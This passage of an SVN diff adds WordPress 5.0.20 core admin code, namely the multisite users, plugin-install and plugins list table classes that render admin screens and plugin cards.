+		$blogs = get_blogs_of_user( $user->ID, true );
+		if ( ! is_array( $blogs ) ) {
+			return;
+		}
+
+		foreach ( $blogs as $val ) {
+			if ( ! can_edit_network( $val->site_id ) ) {
+				continue;
+			}
+
+			$path	= ( $val->path === '/' ) ? '' : $val->path;
+			echo '<span class="site-' . $val->site_id . '" >';
+			echo '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . str_replace( '.' . get_network()->domain, '', $val->domain . $path ) . '</a>';
+			echo ' <small class="row-actions">';
+			$actions = array();
+			$actions['edit'] = '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . __( 'Edit' ) . '</a>';
+
+			$class = '';
+			if ( $val->spam == 1 ) {
+				$class .= 'site-spammed ';
+			}
+			if ( $val->mature == 1 ) {
+				$class .= 'site-mature ';
+			}
+			if ( $val->deleted == 1 ) {
+				$class .= 'site-deleted ';
+			}
+			if ( $val->archived == 1 ) {
+				$class .= 'site-archived ';
+			}
+
+			$actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $val->userblog_id ) ) . '">' . __( 'View' ) . '</a>';
+
+			/**
+			 * Filters the action links displayed next the sites a user belongs to
+			 * in the Network Admin Users list table.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array $actions     An array of action links to be displayed.
+			 *                           Default 'Edit', 'View'.
+			 * @param int   $userblog_id The site ID.
+			 */
+			$actions = apply_filters( 'ms_user_list_site_actions', $actions, $val->userblog_id );
+
+			$i=0;
+			$action_count = count( $actions );
+			foreach ( $actions as $action => $link ) {
+				++$i;
+				$sep = ( $i == $action_count ) ? '' : ' | ';
+				echo "<span class='$action'>$link$sep</span>";
+			}
+			echo '</small></span><br/>';
+		}
+	}
+
+	/**
+	 * Handles the default column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_User $user       The current WP_User object.
+	 * @param string $column_name The current column name.
+	 */
+	public function column_default( $user, $column_name ) {
+		/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
+		echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID );
+	}
+
+	public function display_rows() {
+		foreach ( $this->items as $user ) {
+			$class = '';
+
+			$status_list = array( 'spam' => 'site-spammed', 'deleted' => 'site-deleted' );
+
+			foreach ( $status_list as $status => $col ) {
+				if ( $user->$status ) {
+					$class .= " $col";
+				}
+			}
+
+			?>
+			<tr class="<?php echo trim( $class ); ?>">
+				<?php $this->single_row_columns( $user ); ?>
+			</tr>
+			<?php
+		}
+	}
+
+	/**
+	 * Gets the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, 'username'.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'username';
+	}
+
+	/**
+	 * Generates and displays row action links.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $user        User being acted upon.
+	 * @param string $column_name Current column name.
+	 * @param string $primary     Primary column name.
+	 * @return string Row actions output for users in Multisite.
+	 */
+	protected function handle_row_actions( $user, $column_name, $primary ) {
+		if ( $primary !== $column_name ) {
+			return '';
+		}
+
+		$super_admins = get_super_admins();
+		$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
+
+		$actions = array();
+		$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
+
+		if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins ) ) {
+			$actions['delete'] = '<a href="' . $delete = esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&amp;action=deleteuser&amp;id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>';
+		}
+
+		/**
+		 * Filters the action links displayed under each user in the Network Admin Users list table.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @param array   $actions An array of action links to be displayed.
+		 *                         Default 'Edit', 'Delete'.
+		 * @param WP_User $user    WP_User object.
+		 */
+		$actions = apply_filters( 'ms_user_row_actions', $actions, $user );
+		return $this->row_actions( $actions );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-plugin-install-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-plugin-install-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-plugin-install-list-table.php	(revision 56912)
@@ -0,0 +1,638 @@
+<?php
+/**
+ * List Table API: WP_Plugin_Install_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying plugins to install in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_Plugin_Install_List_Table extends WP_List_Table {
+
+	public $order = 'ASC';
+	public $orderby = null;
+	public $groups = array();
+
+	private $error;
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can('install_plugins');
+	}
+
+	/**
+	 * Return the list of known plugins.
+	 *
+	 * Uses the transient data from the updates API to determine the known
+	 * installed plugins.
+	 *
+	 * @since 4.9.0
+	 * @access protected
+	 *
+	 * @return array
+	 */
+	protected function get_installed_plugins() {
+		$plugins = array();
+
+		$plugin_info = get_site_transient( 'update_plugins' );
+		if ( isset( $plugin_info->no_update ) ) {
+			foreach ( $plugin_info->no_update as $plugin ) {
+				$plugin->upgrade          = false;
+				$plugins[ $plugin->slug ] = $plugin;
+			}
+		}
+
+		if ( isset( $plugin_info->response ) ) {
+			foreach ( $plugin_info->response as $plugin ) {
+				$plugin->upgrade          = true;
+				$plugins[ $plugin->slug ] = $plugin;
+			}
+		}
+
+		return $plugins;
+	}
+
+	/**
+	 * Return a list of slugs of installed plugins, if known.
+	 *
+	 * Uses the transient data from the updates API to determine the slugs of
+	 * known installed plugins. This might be better elsewhere, perhaps even
+	 * within get_plugins().
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array
+	 */
+	protected function get_installed_plugin_slugs() {
+		return array_keys( $this->get_installed_plugins() );
+	}
+
+	/**
+	 *
+	 * @global array  $tabs
+	 * @global string $tab
+	 * @global int    $paged
+	 * @global string $type
+	 * @global string $term
+	 */
+	public function prepare_items() {
+		include( ABSPATH . 'wp-admin/includes/plugin-install.php' );
+
+		global $tabs, $tab, $paged, $type, $term;
+
+		wp_reset_vars( array( 'tab' ) );
+
+		$paged = $this->get_pagenum();
+
+		$per_page = 30;
+
+		// These are the tabs which are shown on the page
+		$tabs = array();
+
+		if ( 'search' === $tab ) {
+			$tabs['search'] = __( 'Search Results' );
+		}
+		if ( $tab === 'beta' || false !== strpos( get_bloginfo( 'version' ), '-' ) ) {
+			$tabs['beta'] = _x( 'Beta Testing', 'Plugin Installer' );
+		}
+		$tabs['featured']    = _x( 'Featured', 'Plugin Installer' );
+		$tabs['popular']     = _x( 'Popular', 'Plugin Installer' );
+		$tabs['recommended'] = _x( 'Recommended', 'Plugin Installer' );
+		$tabs['favorites']   = _x( 'Favorites', 'Plugin Installer' );
+		if ( current_user_can( 'upload_plugins' ) ) {
+			// No longer a real tab. Here for filter compatibility.
+			// Gets skipped in get_views().
+			$tabs['upload'] = __( 'Upload Plugin' );
+		}
+
+		$nonmenu_tabs = array( 'plugin-information' ); // Valid actions to perform which do not have a Menu item.
+
+		/**
+		 * Filters the tabs shown on the Plugin Install screen.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $tabs The tabs shown on the Plugin Install screen. Defaults include 'featured', 'popular',
+		 *                    'recommended', 'favorites', and 'upload'.
+		 */
+		$tabs = apply_filters( 'install_plugins_tabs', $tabs );
+
+		/**
+		 * Filters tabs not associated with a menu item on the Plugin Install screen.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $nonmenu_tabs The tabs that don't have a Menu item on the Plugin Install screen.
+		 */
+		$nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs );
+
+		// If a non-valid menu tab has been selected, And it's not a non-menu action.
+		if ( empty( $tab ) || ( !isset( $tabs[ $tab ] ) && !in_array( $tab, (array) $nonmenu_tabs ) ) )
+			$tab = key( $tabs );
+
+		$installed_plugins = $this->get_installed_plugins();
+
+		$args = array(
+			'page' => $paged,
+			'per_page' => $per_page,
+			'fields' => array(
+				'last_updated' => true,
+				'icons' => true,
+				'active_installs' => true
+			),
+			// Send the locale and installed plugin slugs to the API so it can provide context-sensitive results.
+			'locale' => get_user_locale(),
+			'installed_plugins' => array_keys( $installed_plugins ),
+		);
+
+		switch ( $tab ) {
+			case 'search':
+				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
+				$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
+
+				switch ( $type ) {
+					case 'tag':
+						$args['tag'] = sanitize_title_with_dashes( $term );
+						break;
+					case 'term':
+						$args['search'] = $term;
+						break;
+					case 'author':
+						$args['author'] = $term;
+						break;
+				}
+
+				break;
+
+			case 'featured':
+				$args['fields']['group'] = true;
+				$this->orderby = 'group';
+				// No break!
+			case 'popular':
+			case 'new':
+			case 'beta':
+			case 'recommended':
+				$args['browse'] = $tab;
+				break;
+
+			case 'favorites':
+				$action = 'save_wporg_username_' . get_current_user_id();
+				if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) {
+					$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );
+
+					// If the save url parameter is passed with a falsey value, don't save the favorite user.
+					if ( ! isset( $_GET['save'] ) || $_GET['save'] ) {
+						update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
+					}
+				} else {
+					$user = get_user_option( 'wporg_favorites' );
+				}
+				if ( $user )
+					$args['user'] = $user;
+				else
+					$args = false;
+
+				add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 );
+				break;
+
+			default:
+				$args = false;
+				break;
+		}
+
+		/**
+		 * Filters API request arguments for each Plugin Install screen tab.
+		 *
+		 * The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs.
+		 * Default tabs include 'featured', 'popular', 'recommended', 'favorites', and 'upload'.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array|bool $args Plugin Install API arguments.
+		 */
+		$args = apply_filters( "install_plugins_table_api_args_{$tab}", $args );
+
+		if ( !$args )
+			return;
+
+		$api = plugins_api( 'query_plugins', $args );
+
+		if ( is_wp_error( $api ) ) {
+			$this->error = $api;
+			return;
+		}
+
+		$this->items = $api->plugins;
+
+		if ( $this->orderby ) {
+			uasort( $this->items, array( $this, 'order_callback' ) );
+		}
+
+		$this->set_pagination_args( array(
+			'total_items' => $api->info['results'],
+			'per_page' => $args['per_page'],
+		) );
+
+		if ( isset( $api->info['groups'] ) ) {
+			$this->groups = $api->info['groups'];
+		}
+
+		if ( $installed_plugins ) {
+			$js_plugins = array_fill_keys(
+				array( 'all', 'search', 'active', 'inactive', 'recently_activated', 'mustuse', 'dropins' ),
+				array()
+			);
+
+			$js_plugins['all'] = array_values( wp_list_pluck( $installed_plugins, 'plugin' ) );
+			$upgrade_plugins   = wp_filter_object_list( $installed_plugins, array( 'upgrade' => true ), 'and', 'plugin' );
+
+			if ( $upgrade_plugins ) {
+				$js_plugins['upgrade'] = array_values( $upgrade_plugins );
+			}
+
+			wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+				'plugins' => $js_plugins,
+				'totals'  => wp_get_update_data(),
+			) );
+		}
+	}
+
+	/**
+	 */
+	public function no_items() {
+		if ( isset( $this->error ) ) { ?>
+			<div class="inline error"><p><?php echo $this->error->get_error_message(); ?></p>
+				<p class="hide-if-no-js"><button class="button try-again"><?php _e( 'Try Again' ); ?></button></p>
+			</div>
+		<?php } else { ?>
+			<div class="no-plugin-results"><?php _e( 'No plugins found. Try a different search.' ); ?></div>
+		<?php
+		}
+	}
+
+	/**
+	 *
+	 * @global array $tabs
+	 * @global string $tab
+	 *
+	 * @return array
+	 */
+	protected function get_views() {
+		global $tabs, $tab;
+
+		$display_tabs = array();
+		foreach ( (array) $tabs as $action => $text ) {
+			$current_link_attributes = ( $action === $tab ) ? ' class="current" aria-current="page"' : '';
+			$href = self_admin_url('plugin-install.php?tab=' . $action);
+			$display_tabs['plugin-install-'.$action] = "<a href='$href'$current_link_attributes>$text</a>";
+		}
+		// No longer a real tab.
+		unset( $display_tabs['plugin-install-upload'] );
+
+		return $display_tabs;
+	}
+
+	/**
+	 * Override parent views so we can use the filter bar display.
+	 */
+	public function views() {
+		$views = $this->get_views();
+
+		/** This filter is documented in wp-admin/inclues/class-wp-list-table.php */
+		$views = apply_filters( "views_{$this->screen->id}", $views );
+
+		$this->screen->render_screen_reader_content( 'heading_views' );
+?>
+<div class="wp-filter">
+	<ul class="filter-links">
+		<?php
+		if ( ! empty( $views ) ) {
+			foreach ( $views as $class => $view ) {
+				$views[ $class ] = "\t<li class='$class'>$view";
+			}
+			echo implode( " </li>\n", $views ) . "</li>\n";
+		}
+		?>
+	</ul>
+
+	<?php install_search_form(); ?>
+</div>
+<?php
+	}
+
+	/**
+	 * Override the parent display() so we can provide a different container.
+	 */
+	public function display() {
+		$singular = $this->_args['singular'];
+
+		$data_attr = '';
+
+		if ( $singular ) {
+			$data_attr = " data-wp-lists='list:$singular'";
+		}
+
+		$this->display_tablenav( 'top' );
+
+?>
+<div class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
+<?php
+	$this->screen->render_screen_reader_content( 'heading_list' );
+?>
+	<div id="the-list"<?php echo $data_attr; ?>>
+		<?php $this->display_rows_or_placeholder(); ?>
+	</div>
+</div>
+<?php
+		$this->display_tablenav( 'bottom' );
+	}
+
+	/**
+	 * @global string $tab
+	 *
+	 * @param string $which
+	 */
+	protected function display_tablenav( $which ) {
+		if ( $GLOBALS['tab'] === 'featured' ) {
+			return;
+		}
+
+		if ( 'top' === $which ) {
+			wp_referer_field();
+		?>
+			<div class="tablenav top">
+				<div class="alignleft actions">
+					<?php
+					/**
+					 * Fires before the Plugin Install table header pagination is displayed.
+					 *
+					 * @since 2.7.0
+					 */
+					do_action( 'install_plugins_table_header' ); ?>
+				</div>
+				<?php $this->pagination( $which ); ?>
+				<br class="clear" />
+			</div>
+		<?php } else { ?>
+			<div class="tablenav bottom">
+				<?php $this->pagination( $which ); ?>
+				<br class="clear" />
+			</div>
+		<?php
+		}
+	}
+
+	/**
+	 * @return array
+	 */
+	protected function get_table_classes() {
+		return array( 'widefat', $this->_args['plural'] );
+	}
+
+	/**
+	 * @return array
+	 */
+	public function get_columns() {
+		return array();
+	}
+
+	/**
+	 * @param object $plugin_a
+	 * @param object $plugin_b
+	 * @return int
+	 */
+	private function order_callback( $plugin_a, $plugin_b ) {
+		$orderby = $this->orderby;
+		if ( ! isset( $plugin_a->$orderby, $plugin_b->$orderby ) ) {
+			return 0;
+		}
+
+		$a = $plugin_a->$orderby;
+		$b = $plugin_b->$orderby;
+
+		if ( $a == $b ) {
+			return 0;
+		}
+
+		if ( 'DESC' === $this->order ) {
+			return ( $a < $b ) ? 1 : -1;
+		} else {
+			return ( $a < $b ) ? -1 : 1;
+		}
+	}
+
+	public function display_rows() {
+		$plugins_allowedtags = array(
+			'a' => array( 'href' => array(),'title' => array(), 'target' => array() ),
+			'abbr' => array( 'title' => array() ),'acronym' => array( 'title' => array() ),
+			'code' => array(), 'pre' => array(), 'em' => array(),'strong' => array(),
+			'ul' => array(), 'ol' => array(), 'li' => array(), 'p' => array(), 'br' => array()
+		);
+
+		$plugins_group_titles = array(
+			'Performance' => _x( 'Performance', 'Plugin installer group title' ),
+			'Social'      => _x( 'Social',      'Plugin installer group title' ),
+			'Tools'       => _x( 'Tools',       'Plugin installer group title' ),
+		);
+
+		$group = null;
+
+		foreach ( (array) $this->items as $plugin ) {
+			if ( is_object( $plugin ) ) {
+				$plugin = (array) $plugin;
+			}
+
+			// Display the group heading if there is one
+			if ( isset( $plugin['group'] ) && $plugin['group'] != $group ) {
+				if ( isset( $this->groups[ $plugin['group'] ] ) ) {
+					$group_name = $this->groups[ $plugin['group'] ];
+					if ( isset( $plugins_group_titles[ $group_name ] ) ) {
+						$group_name = $plugins_group_titles[ $group_name ];
+					}
+				} else {
+					$group_name = $plugin['group'];
+				}
+
+				// Starting a new group, close off the divs of the last one
+				if ( ! empty( $group ) ) {
+					echo '</div></div>';
+				}
+
+				echo '<div class="plugin-group"><h3>' . esc_html( $group_name ) . '</h3>';
+				// needs an extra wrapping div for nth-child selectors to work
+				echo '<div class="plugin-items">';
+
+				$group = $plugin['group'];
+			}
+			$title = wp_kses( $plugin['name'], $plugins_allowedtags );
+
+			// Remove any HTML from the description.
+			$description = strip_tags( $plugin['short_description'] );
+			$version = wp_kses( $plugin['version'], $plugins_allowedtags );
+
+			$name = strip_tags( $title . ' ' . $version );
+
+			$author = wp_kses( $plugin['author'], $plugins_allowedtags );
+			if ( ! empty( $author ) ) {
+				$author = ' <cite>' . sprintf( __( 'By %s' ), $author ) . '</cite>';
+			}
+
+			$action_links = array();
+
+			if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) {
+				$status = install_plugin_install_status( $plugin );
+
+				switch ( $status['status'] ) {
+					case 'install':
+						if ( $status['url'] ) {
+							/* translators: 1: Plugin name and version. */
+							$action_links[] = '<a class="install-now button" data-slug="' . esc_attr( $plugin['slug'] ) . '" href="' . esc_url( $status['url'] ) . '" aria-label="' . esc_attr( sprintf( __( 'Install %s now' ), $name ) ) . '" data-name="' . esc_attr( $name ) . '">' . __( 'Install Now' ) . '</a>';
+						}
+						break;
+
+					case 'update_available':
+						if ( $status['url'] ) {
+							/* translators: 1: Plugin name and version */
+							$action_links[] = '<a class="update-now button aria-button-if-js" data-plugin="' . esc_attr( $status['file'] ) . '" data-slug="' . esc_attr( $plugin['slug'] ) . '" href="' . esc_url( $status['url'] ) . '" aria-label="' . esc_attr( sprintf( __( 'Update %s now' ), $name ) ) . '" data-name="' . esc_attr( $name ) . '">' . __( 'Update Now' ) . '</a>';
+						}
+						break;
+
+					case 'latest_installed':
+					case 'newer_installed':
+						if ( is_plugin_active( $status['file'] ) ) {
+							$action_links[] = '<button type="button" class="button button-disabled" disabled="disabled">' . _x( 'Active', 'plugin' ) . '</button>';
+						} elseif ( current_user_can( 'activate_plugin', $status['file'] ) ) {
+							$button_text  = __( 'Activate' );
+							/* translators: %s: Plugin name */
+							$button_label = _x( 'Activate %s', 'plugin' );
+							$activate_url = add_query_arg( array(
+								'_wpnonce'    => wp_create_nonce( 'activate-plugin_' . $status['file'] ),
+								'action'      => 'activate',
+								'plugin'      => $status['file'],
+							), network_admin_url( 'plugins.php' ) );
+
+							if ( is_network_admin() ) {
+								$button_text  = __( 'Network Activate' );
+								/* translators: %s: Plugin name */
+								$button_label = _x( 'Network Activate %s', 'plugin' );
+								$activate_url = add_query_arg( array( 'networkwide' => 1 ), $activate_url );
+							}
+
+							$action_links[] = sprintf(
+								'<a href="%1$s" class="button activate-now" aria-label="%2$s">%3$s</a>',
+								esc_url( $activate_url ),
+								esc_attr( sprintf( $button_label, $plugin['name'] ) ),
+								$button_text
+							);
+						} else {
+							$action_links[] = '<button type="button" class="button button-disabled" disabled="disabled">' . _x( 'Installed', 'plugin' ) . '</button>';
+						}
+						break;
+				}
+			}
+
+			$details_link   = self_admin_url( 'plugin-install.php?tab=plugin-information&amp;plugin=' . $plugin['slug'] .
+								'&amp;TB_iframe=true&amp;width=600&amp;height=550' );
+
+			/* translators: 1: Plugin name and version. */
+			$action_links[] = '<a href="' . esc_url( $details_link ) . '" class="thickbox open-plugin-details-modal" aria-label="' . esc_attr( sprintf( __( 'More information about %s' ), $name ) ) . '" data-title="' . esc_attr( $name ) . '">' . __( 'More Details' ) . '</a>';
+
+			if ( !empty( $plugin['icons']['svg'] ) ) {
+				$plugin_icon_url = $plugin['icons']['svg'];
+			} elseif ( !empty( $plugin['icons']['2x'] ) ) {
+				$plugin_icon_url = $plugin['icons']['2x'];
+			} elseif ( !empty( $plugin['icons']['1x'] ) ) {
+				$plugin_icon_url = $plugin['icons']['1x'];
+			} else {
+				$plugin_icon_url = $plugin['icons']['default'];
+			}
+
+			/**
+			 * Filters the install action links for a plugin.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param array $action_links An array of plugin action hyperlinks. Defaults are links to Details and Install Now.
+			 * @param array $plugin       The plugin currently being listed.
+			 */
+			$action_links = apply_filters( 'plugin_install_action_links', $action_links, $plugin );
+
+			$last_updated_timestamp = strtotime( $plugin['last_updated'] );
+		?>
+		<div class="plugin-card plugin-card-<?php echo sanitize_html_class( $plugin['slug'] ); ?>">
+			<div class="plugin-card-top">
+				<div class="name column-name">
+					<h3>
+						<a href="<?php echo esc_url( $details_link ); ?>" class="thickbox open-plugin-details-modal">
+						<?php echo $title; ?>
+						<img src="<?php echo esc_attr( $plugin_icon_url ) ?>" class="plugin-icon" alt="">
+						</a>
+					</h3>
+				</div>
+				<div class="action-links">
+					<?php
+						if ( $action_links ) {
+							echo '<ul class="plugin-action-buttons"><li>' . implode( '</li><li>', $action_links ) . '</li></ul>';
+						}
+					?>
+				</div>
+				<div class="desc column-description">
+					<p><?php echo $description; ?></p>
+					<p class="authors"><?php echo $author; ?></p>
+				</div>
+			</div>
+			<div class="plugin-card-bottom">
+				<div class="vers column-rating">
+					<?php wp_star_rating( array( 'rating' => $plugin['rating'], 'type' => 'percent', 'number' => $plugin['num_ratings'] ) ); ?>
+					<span class="num-ratings" aria-hidden="true">(<?php echo number_format_i18n( $plugin['num_ratings'] ); ?>)</span>
+				</div>
+				<div class="column-updated">
+					<strong><?php _e( 'Last Updated:' ); ?></strong> <?php printf( __( '%s ago' ), human_time_diff( $last_updated_timestamp ) ); ?>
+				</div>
+				<div class="column-downloaded">
+					<?php
+					if ( $plugin['active_installs'] >= 1000000 ) {
+						$active_installs_text = _x( '1+ Million', 'Active plugin installations' );
+					} elseif ( 0 == $plugin['active_installs'] ) {
+						$active_installs_text = _x( 'Less Than 10', 'Active plugin installations' );
+					} else {
+						$active_installs_text = number_format_i18n( $plugin['active_installs'] ) . '+';
+					}
+					printf( __( '%s Active Installations' ), $active_installs_text );
+					?>
+				</div>
+				<div class="column-compatibility">
+					<?php
+					$wp_version = get_bloginfo( 'version' );
+
+					if ( ! empty( $plugin['tested'] ) && version_compare( substr( $wp_version, 0, strlen( $plugin['tested'] ) ), $plugin['tested'], '>' ) ) {
+						echo '<span class="compatibility-untested">' . __( 'Untested with your version of WordPress' ) . '</span>';
+					} elseif ( ! empty( $plugin['requires'] ) && version_compare( substr( $wp_version, 0, strlen( $plugin['requires'] ) ), $plugin['requires'], '<' ) ) {
+						echo '<span class="compatibility-incompatible">' . __( '<strong>Incompatible</strong> with your version of WordPress' ) . '</span>';
+					} else {
+						echo '<span class="compatibility-compatible">' . __( '<strong>Compatible</strong> with your version of WordPress' ) . '</span>';
+					}
+					?>
+				</div>
+			</div>
+		</div>
+		<?php
+		}
+
+		// Close off the group divs of the last one
+		if ( ! empty( $group ) ) {
+			echo '</div></div>';
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-plugins-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-plugins-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-plugins-list-table.php	(revision 56912)
@@ -0,0 +1,872 @@
+<?php
+/**
+ * List Table API: WP_Plugins_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying installed plugins in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_Plugins_List_Table extends WP_List_Table {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @global string $status
+	 * @global int    $page
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $status, $page;
+
+		parent::__construct( array(
+			'plural' => 'plugins',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$status = 'all';
+		if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array( 'active', 'inactive', 'recently_activated', 'upgrade', 'mustuse', 'dropins', 'search' ) ) )
+			$status = $_REQUEST['plugin_status'];
+
+		if ( isset($_REQUEST['s']) )
+			$_SERVER['REQUEST_URI'] = add_query_arg('s', wp_unslash($_REQUEST['s']) );
+
+		$page = $this->get_pagenum();
+	}
+
+	/**
+	 * @return array
+	 */
+	protected function get_table_classes() {
+		return array( 'widefat', $this->_args['plural'] );
+	}
+
+	/**
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can('activate_plugins');
+	}
+
+	/**
+	 *
+	 * @global string $status
+	 * @global array  $plugins
+	 * @global array  $totals
+	 * @global int    $page
+	 * @global string $orderby
+	 * @global string $order
+	 * @global string $s
+	 */
+	public function prepare_items() {
+		global $status, $plugins, $totals, $page, $orderby, $order, $s;
+
+		wp_reset_vars( array( 'orderby', 'order' ) );
+
+		/**
+		 * Filters the full array of plugins to list in the Plugins list table.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @see get_plugins()
+		 *
+		 * @param array $all_plugins An array of plugins to display in the list table.
+		 */
+		$all_plugins = apply_filters( 'all_plugins', get_plugins() );
+
+		$plugins = array(
+			'all'                => $all_plugins,
+			'search'             => array(),
+			'active'             => array(),
+			'inactive'           => array(),
+			'recently_activated' => array(),
+			'upgrade'            => array(),
+			'mustuse'            => array(),
+			'dropins'            => array(),
+		);
+
+		$screen = $this->screen;
+
+		if ( ! is_multisite() || ( $screen->in_admin( 'network' ) && current_user_can( 'manage_network_plugins' ) ) ) {
+
+			/**
+			 * Filters whether to display the advanced plugins list table.
+			 *
+			 * There are two types of advanced plugins - must-use and drop-ins -
+			 * which can be used in a single site or Multisite network.
+			 *
+			 * The $type parameter allows you to differentiate between the type of advanced
+			 * plugins to filter the display of. Contexts include 'mustuse' and 'dropins'.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param bool   $show Whether to show the advanced plugins for the specified
+			 *                     plugin type. Default true.
+			 * @param string $type The plugin type. Accepts 'mustuse', 'dropins'.
+			 */
+			if ( apply_filters( 'show_advanced_plugins', true, 'mustuse' ) ) {
+				$plugins['mustuse'] = get_mu_plugins();
+			}
+
+			/** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */
+			if ( apply_filters( 'show_advanced_plugins', true, 'dropins' ) )
+				$plugins['dropins'] = get_dropins();
+
+			if ( current_user_can( 'update_plugins' ) ) {
+				$current = get_site_transient( 'update_plugins' );
+				foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
+					if ( isset( $current->response[ $plugin_file ] ) ) {
+						$plugins['all'][ $plugin_file ]['update'] = true;
+						$plugins['upgrade'][ $plugin_file ] = $plugins['all'][ $plugin_file ];
+					}
+				}
+			}
+		}
+
+		if ( ! $screen->in_admin( 'network' ) ) {
+			$show = current_user_can( 'manage_network_plugins' );
+			/**
+			 * Filters whether to display network-active plugins alongside plugins active for the current site.
+			 *
+			 * This also controls the display of inactive network-only plugins (plugins with
+			 * "Network: true" in the plugin header).
+			 *
+			 * Plugins cannot be network-activated or network-deactivated from this screen.
+			 *
+			 * @since 4.4.0
+			 *
+			 * @param bool $show Whether to show network-active plugins. Default is whether the current
+			 *                   user can manage network plugins (ie. a Super Admin).
+			 */
+			$show_network_active = apply_filters( 'show_network_active_plugins', $show );
+		}
+
+		set_transient( 'plugin_slugs', array_keys( $plugins['all'] ), DAY_IN_SECONDS );
+
+		if ( $screen->in_admin( 'network' ) ) {
+			$recently_activated = get_site_option( 'recently_activated', array() );
+		} else {
+			$recently_activated = get_option( 'recently_activated', array() );
+		}
+
+		foreach ( $recently_activated as $key => $time ) {
+			if ( $time + WEEK_IN_SECONDS < time() ) {
+				unset( $recently_activated[$key] );
+			}
+		}
+
+		if ( $screen->in_admin( 'network' ) ) {
+			update_site_option( 'recently_activated', $recently_activated );
+		} else {
+			update_option( 'recently_activated', $recently_activated );
+		}
+
+		$plugin_info = get_site_transient( 'update_plugins' );
+
+		foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
+			// Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide.
+			if ( isset( $plugin_info->response[ $plugin_file ] ) ) {
+				$plugins['all'][ $plugin_file ] = $plugin_data = array_merge( (array) $plugin_info->response[ $plugin_file ], $plugin_data );
+				// Make sure that $plugins['upgrade'] also receives the extra info since it is used on ?plugin_status=upgrade
+				if ( isset( $plugins['upgrade'][ $plugin_file ] ) ) {
+					$plugins['upgrade'][ $plugin_file ] = $plugin_data = array_merge( (array) $plugin_info->response[ $plugin_file ], $plugin_data );
+				}
+
+			} elseif ( isset( $plugin_info->no_update[ $plugin_file ] ) ) {
+				$plugins['all'][ $plugin_file ] = $plugin_data = array_merge( (array) $plugin_info->no_update[ $plugin_file ], $plugin_data );
+				// Make sure that $plugins['upgrade'] also receives the extra info since it is used on ?plugin_status=upgrade
+				if ( isset( $plugins['upgrade'][ $plugin_file ] ) ) {
+					$plugins['upgrade'][ $plugin_file ] = $plugin_data = array_merge( (array) $plugin_info->no_update[ $plugin_file ], $plugin_data );
+				}
+			}
+
+			// Filter into individual sections
